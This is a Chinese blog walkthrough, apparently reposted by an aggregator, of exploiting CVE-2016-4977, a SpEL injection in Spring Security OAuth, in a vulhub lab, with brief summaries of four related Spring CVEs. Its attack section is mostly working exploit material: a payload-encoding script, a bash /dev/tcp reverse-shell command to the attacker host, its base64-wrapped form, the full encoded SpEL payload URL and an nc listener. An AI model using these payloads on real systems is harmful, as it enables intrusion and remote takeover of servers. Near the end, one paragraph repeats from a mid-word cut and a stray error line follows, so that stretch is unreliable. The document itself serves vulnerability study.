(CVE-2016-4977) SpringSecurityOauth 远程命令执行
Posted 浪人联想
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了(CVE-2016-4977) SpringSecurityOauth 远程命令执行相关的知识,希望对你有一定的参考价值。
漏洞简介:
Spring Security OAuth 是为 Spring 框架提供安全认证支持的一个模块,其维护者发布了这样一个升级公告,主要说明在用户使用Whitelabel views
来处理错误时,攻击者在被授权的情况下可以通过构造恶意参数来远程执行命令。
Spring Security OAuth 支持使用标准 Spring 和 Spring Security 编程模型和配置习惯用法与 OAuth (1a) 和 OAuth2 一起使用 Spring Security。在使用白标签视图进行错误处理时,远程攻击者可以通过 Springs 表达式语言 (SpEL) 构造恶意参数来执行命令。
影响版本:
Spring Security OAuth 1.0.0到1.0.5
Spring Security OAuth 2.0.0到2.0.9
Spring Security OAuth 2.0到2.0.14
Spring Security OAuth 2.1到2.1.1
Spring Security OAuth 2.2到2.2.1
Spring Security OAuth 2.3到2.3.2
漏洞原理:
实验原理是该版本的Spring的一个错误页面,存在参数获取未进行过滤,导致可以直接对服务器执行系统权限。这个漏洞的触发点是对用户传的参数的递归解析,从而导致SpEL注入。
漏洞复现:
靶机:192.168.8.9
攻击机:192.168.8.11
打开环境:
cd /home/ch1/Desktop/vulhub-master/spring/CVE-2016-4977
docker-compose up -d
docker ps
可以看的,漏洞环境里面是有一个poc的文件的,但是这个文件不是用来getshell的,而是一个用于对bash脚本进行编码的poc,需要python3的环境,查看其内容如下:
#!/usr/bin/env python
message = input('Enter message to encode:')
poc = '$T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)' % ord(message[0])
for ch in message[1:]:
poc += '.concat(T(java.lang.Character).toString(%s))' % ord(ch)
poc += ')'
print(poc)
访问:http://192.168.8.9:8080/
Payload:
http://192.168.8.9:8080/oauth/authorize?response_type=$233*233&client_id=acme&scope=openid&redirect_uri=http://test
这就是存在命令执行的漏洞url;触发点在:$233*233
这里显示登陆,我们输入admin:admin 进入
可以看到这里算出了结果 54289,可以看到 $233*233 已经成功执行。
我们编写好反弹shell的命令:
bash -i >& /dev/tcp/192.168.8.11/8888 0>&1
#这条命令是要在靶机执行的,反弹到我们攻击机kali
用以下网站进行编码操作:
https://www.jackson-t.ca/runtime-exec-payloads.html
注意:这里对反弹shell的POC进行base64编码(java反弹shell都需要先编码,不然不会成功,原因是runtime不支持管道符)
编码之后:
bash -c echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjguMTEvODg4OCAwPiYx|base64,-d|bash,-i
运行poc.py再次加载:
最终poc为:
$T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(98).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(109)).concat(T(java.lang.Character).toString(70)).concat(T(java.lang.Character).toString(122)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(83)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(43)).concat(T(java.lang.Character).toString(74)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(118)).concat(T(java.lang.Character).toString(90)).concat(T(java.lang.Character).toString(71)).concat(T(java.lang.Character).toString(86)).concat(T(java.lang.Character).toString(50)).concat(T(java.lang.Character).toString(76)).concat(T(java.lang.Character).toString(51)).concat(T(java.lang.Character).toString(82)).concat(T(java.lang.Character).toString(106)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(56)).concat(T(java.lang.Character).toString(120)).concat(T(java.lang.Character).toString(79)).concat(T(java.lang.Character).toString(84)).concat(T(java.lang.Character).toString(73)).concat(T(java.lang.Character).toString(117)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(84)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(76)).concat(T(java.lang.Character).toString(106)).concat(T(java.lang.Character).toString(103)).concat(T(java.lang.Character).toString(117)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(84)).concat(T(java.lang.Character).toString(69)).concat(T(java.lang.Character).toString(118)).concat(T(java.lang.Character).toString(79)).concat(T(java.lang.Character).toString(68)).concat(T(java.lang.Character).toString(103)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(79)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(80)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(120)).concat(T(java.lang.Character).toString(125)).concat(T(java.lang.Character).toString(124)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(98)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(54)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(100)).concat(T(java.lang.Character).toString(125)).concat(T(java.lang.Character).toString(124)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(98)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(125)))
攻击机监听端口:
nc -lvvp 8888
并访问下面的url:
http://192.168.8.9:8080/oauth/authorize?response_type=[POC]&client_id=acme&scope=openid&redirect_uri=http://test
最终:
http://192.168.8.9:8080/oauth/authorize?response_type=[$T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(98).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(109)).concat(T(java.lang.Character).toString(70)).concat(T(java.lang.Character).toString(122)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(83)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(43)).concat(T(java.lang.Character).toString(74)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(118)).concat(T(java.lang.Character).toString(90)).concat(T(java.lang.Character).toString(71)).concat(T(java.lang.Character).toString(86)).concat(T(java.lang.Character).toString(50)).concat(T(java.lang.Character).toString(76)).concat(T(java.lang.Character).toString(51)).concat(T(java.lang.Character).toString(82)).concat(T(java.lang.Character).toString(106)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(56)).concat(T(java.lang.Character).toString(120)).concat(T(java.lang.Character).toString(79)).concat(T(java.lang.Character).toString(84)).concat(T(java.lang.Character).toString(73)).concat(T(java.lang.Character).toString(117)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(84)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(76)).concat(T(java.lang.Character).toString(106)).concat(T(java.lang.Character).toString(103)).concat(T(java.lang.Character).toString(117)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(84)).concat(T(java.lang.Character).toString(69)).concat(T(java.lang.Character).toString(118)).concat(T(java.lang.Character).toString(79)).concat(T(java.lang.Character).toString(68)).concat(T(java.lang.Character).toString(103)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(79)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(80)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(120)).concat(T(java.lang.Character).toString(125)).concat(T(java.lang.Character).toString(124)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(98)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(54)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(100)).concat(T(java.lang.Character).toString(125)).concat(T(java.lang.Character).toString(124)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(98)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(125)))]&client_id=acme&scope=openid&redirect_uri=http://test
反弹成功
从返回页面来看,这里实际上是利用抛出的错误消息来执行恶意代码的,漏洞代码的位置应该在内部错误处理的代码中。
完成复现,实现了RCE。
其它漏洞:
(CVE-2017-4971) Spring WebFlow 远程代码执行漏洞
简介:Spring WebFlow 是一个适用于开发基于流程的应用程序的框架(如购物逻辑),可以将流程的定义和实现流程行为的类和视图分离开来。在其 2.4.x 版本中,如果我们控制了数据绑定时的field,将导致一个SpEL表达式注入漏洞,最终造成任意命令执行。
(CVE-2017-8046)Spring Data Rest 远程命令执行漏洞
简介:Spring Data REST是一个构建在Spring Data之上,为了帮助开发者更加容易地开发REST风格的Web服务。在REST API的Patch方法中(实现RFC6902),path的值被传入setValue
,导致执行了SpEL表达式,触发远程命令执行漏洞。
(CVE-2018-1270)Spring Messaging 远程命令执行漏洞
简介:spring messaging为spring框架提供消息支持,其上层协议是STOMP,底层通信基于SockJS,
在spring messaging中,其允许客户端订阅消息,并使用selector过滤消息。selector用SpEL表达式编写,并使用StandardEvaluationContext
解析,造成命令执行漏洞。
(CVE-2018-1273)Spring Data Commons 远程命令执行漏洞
简介:Spring Data是一个用于简化数据库访问,并支持云服务的开源框架,Spring Data Commons是Spring Data下所有子项目共享的基础框架。Spring Data Commons 在2.0.5及以前版本中,存在一处SpEL表达式注入漏洞,攻击者可以注入恶意SpEL表达式以执行任意命令。
官方复现:https://vulhub.org/
ta是一个用于简化数据库访问,并支持云服务的开源框架,Spring Data Commons是Spring Data下所有子项目共享的基础框架。Spring Data Commons 在2.0.5及以前版本中,存在一处SpEL表达式注入漏洞,攻击者可以注入恶意SpEL表达式以执行任意命令。
官方复现:https://vulhub.org/
以上是关于(CVE-2016-4977) SpringSecurityOauth 远程命令执行的主要内容,如果未能解决你的问题,请参考以下文章
无法验证提供的CSRF令牌,因为找不到您的会话。 拒绝访问 *